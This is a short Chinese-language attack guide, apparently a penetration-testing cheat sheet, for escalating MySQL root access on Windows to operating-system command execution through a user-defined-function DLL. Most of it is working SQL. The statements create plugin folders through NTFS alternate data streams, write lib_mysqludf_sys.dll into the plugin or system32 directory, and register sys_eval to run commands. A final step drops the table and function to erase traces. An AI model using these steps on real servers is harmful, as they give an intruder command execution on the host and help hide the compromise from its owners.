00x1
首先判斷mysql版本,
mysql版本 < 5.2 , UDF導出到系統目錄c:/windows/system32/
mysql版本 > 5.2 ,UDF導出到安裝路徑MySQL\Lib\Plugin\
一般Lib、Plugin文件夾需要手工建立(可用流模式突破進而創建文件夾)
可能會用到的命令:
select @@datadir 路徑
select @@version 版本
使用NTFS ADS流創建lib、plugin文件夾:
某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,但是默認情況下plugin不存在,怎么辦? 還好有大牛研究出了利用NTFS ADS流來創建文件夾的方法 select @@basedir; //查找mysql的目錄 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //使用NTFS ADS流創建lib目錄 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次創建plugin目錄 執行成功以后再進行導出即可。
00x2
直接執行
create function sys_eval returns string soname 'udf.dll'
若成功則可直接執行命令。
00x3
mysql版本小於5.1此方法一般不成功,則需要導入dll到系統目錄,一般導入到c:\windows\system32\,如果不可寫入則試試c:\windows\(一般5.0一下放這)。
00x4
具體語句如下:
create table a (cmd LONGBLOB); insert into a (cmd) values (hex(load_file('D:\\Program Files\\MySQL\\MySQL Server 5.0\\Lib\\Plugin\\lib_mysqludf_sys.dll'))); SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll'; create function sys_eval returns string soname 'udf.dll' select sys_eval('ipconfig');
00x5
擦除痕跡:
drop table a; drop function sys_eval;
Ps:一定要是root